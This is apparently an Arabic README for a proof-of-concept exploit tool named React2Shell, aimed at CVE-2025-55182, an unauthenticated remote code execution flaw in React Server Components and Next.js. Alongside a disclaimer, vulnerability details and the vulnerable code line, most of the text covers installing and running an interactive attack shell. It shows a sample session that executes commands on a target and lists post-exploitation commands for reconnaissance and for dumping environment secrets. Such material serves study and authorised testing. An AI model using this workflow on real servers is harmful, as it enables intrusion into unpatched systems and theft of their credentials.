إثبات المفهوم لاستغلال CVE-2025-55182، وهو ثغرة تنفيذ تعليمات برمجية عن بعد (RCE) خطيرة غير مصادق عليها في مكونات خادم React. يتضمن استغلال Python آلي، تحليل تقني، قواعد كشف، وإعداد بيئة مختبر لاختبارات أمنية مرخصة.
استغلال شامل لإثبات المفهوم ومورد تعليمي لـ CVE-2025-55182، وهو ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد تؤثر على مكونات خادم React (React Server Components) بدرجة CVSS تبلغ 10.0.
لأغراض التعليم والاختبار المصرح به فقط
هذه الأداة مقدمة لأغراض تعليمية واختبار أمني مصرح به فقط. الوصول غير المصرح به إلى أنظمة الحاسوب غير قانوني بموجب قوانين مختلفة بما في ذلك قانون الاحتيال وإساءة استخدام الحاسوب (CFAA) في الولايات المتحدة وتشريعات مماثلة في جميع أنحاء العالم.
يجب عليك:
المؤلف والمساهمون:
باستخدام هذه الأداة، فإنك تقر بأنك تفهم وتوافق على هذه الشروط.
React2Shell هي ثغرة حرجة تم اكتشافها في ديسمبر 2025 تؤثر على مكونات خادم React (RSC) والأطر التي تنفذها، وخاصة Next.js. تسمح الثغرة بـ تنفيذ تعليمات برمجية عن بُعد بدون مصادقة من خلال طلب HTTP واحد معد بعناية.
يحتوي هذا المستودع على:
| الحقل | التفاصيل |
|---|---|
| معرف CVE | CVE-2025-55182 |
| درجة CVSS | 10.0 (حرجة) |
| متجه الهجوم | شبكة |
| تعقيد الهجوم | منخفض |
| الصلاحيات المطلوبة | لا شيء |
| تفاعل المستخدم | لا شيء |
| التأثير | اختراق كامل للنظام (RCE) |
| تاريخ الإفصاح | ديسمبر 2025 |
create-next-app قابلة للاستغلالالإصدارات الضعيفة:
react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0الإصدارات المصححة:
الإصدارات الضعيفة:
الإصدارات المصححة:
توجد الثغرة في دالة requireModule داخل منطق إزالة التسلسل لمكونات خادم React:
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
return moduleExports[metadata[2]]; // VULNERABLE LINE - Prototype chain traversal
}
يسمح العطل للمهاجمين باجتياز سلسلة النموذج الأولي (prototype chain) لجافا سكريبت من خلال بروتوكول React Flight، والوصول إلى منشئ Function عبر خصائص مثل constructor.constructor، مما يتيح تنفيذ تعليمات برمجية عشوائية.
__proto__ لإنشاء هيكل مرجعي ذاتيconstructor.constructor للوصول إلى Function()child_process.execSync()┌─────────────────────────────────────────────────────────────┐
│ يرسل المهاجم بيانات نموذج متعددة الأجزاء مع رأس Next-Action │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ يقوم الخادم بإزالة تسلسل الحمولة عبر بروتوكول React Flight │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ تتم معالجة كائن قطعة مزيف مع تلوث __proto__ │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ يستدعي معالج Blob الدالة _formData.get(_prefix + id) │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ يحل إلى Function("malicious_code") │
└──────────────────────┬──────────────────────────────────────┘
│
▼
┌─────────────────────────────────────────────────────────────┐
│ يتم تنفيذ تعليمات برمجية عشوائية بصلاحيات عملية Node.js │
└─────────────────────────────────────────────────────────────┘
requests# استنساخ المستودع
git clone https://github.com/yourusername/react2shell-poc.git
cd react2shell-poc
# تثبيت التبعيات
pip install -r requirements.txt
# جعل السكربت قابلاً للتنفيذ (لينكس/ماك)
chmod +x react2shell.py
requests>=2.31.0
urllib3>=2.0.0
python3 react2shell.py
╔═══════════════════════════════════════════════════════════╗
║ React2Shell (CVE-2025-55182) PoC ║
║ CVSS 10.0 - Critical RCE ║
║ ║
║ المتأثر: React 19.0.0, 19.1.0, 19.1.1, 19.2.0 ║
║ Next.js ≥14.3.0-canary.77, 15.x, 16.x ║
║ ║
║ Cerberus Secure - للاستخدام المختبري فقط ║
╚═══════════════════════════════════════════════════════════╝
[?] أدخل معلومات الهدف:
Host (مثل localhost أو 192.168.1.100): localhost
Port (مثل 3000): 3000
[React2Shell]> id
[*] الهدف: http://localhost:3000/
[*] الأمر: id
[*] بناء حمولة الاستغلال...
[*] إرسال طلب الاستغلال...
[+] رمز حالة الاستجابة: 200
[*] تحليل الاستجابة...
╔═══════════════════════════════════════════════════════════╗
║ مخرجات الأمر ║
╚═══════════════════════════════════════════════════════════╝
uid=1000(node) gid=1000(node) groups=1000(node)
[React2Shell]> whoami
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> exit
# استطلاع النظام
[React2Shell]> id
[React2Shell]> whoami
[React2Shell]> uname -a
[React2Shell]> cat /etc/os-release
# استكشاف نظام الملفات
[React2Shell]> pwd
[React2Shell]> ls -la
[React2Shell]> cat package.json
# متغيرات البيئة (غالبًا تحتوي على أسرار)
[React2Shell]> printenv
[React2Shell]> echo $PATH
# معلومات الشبكة
[React2Shell]> ifconfig
[React2Shell]> netstat -tulpn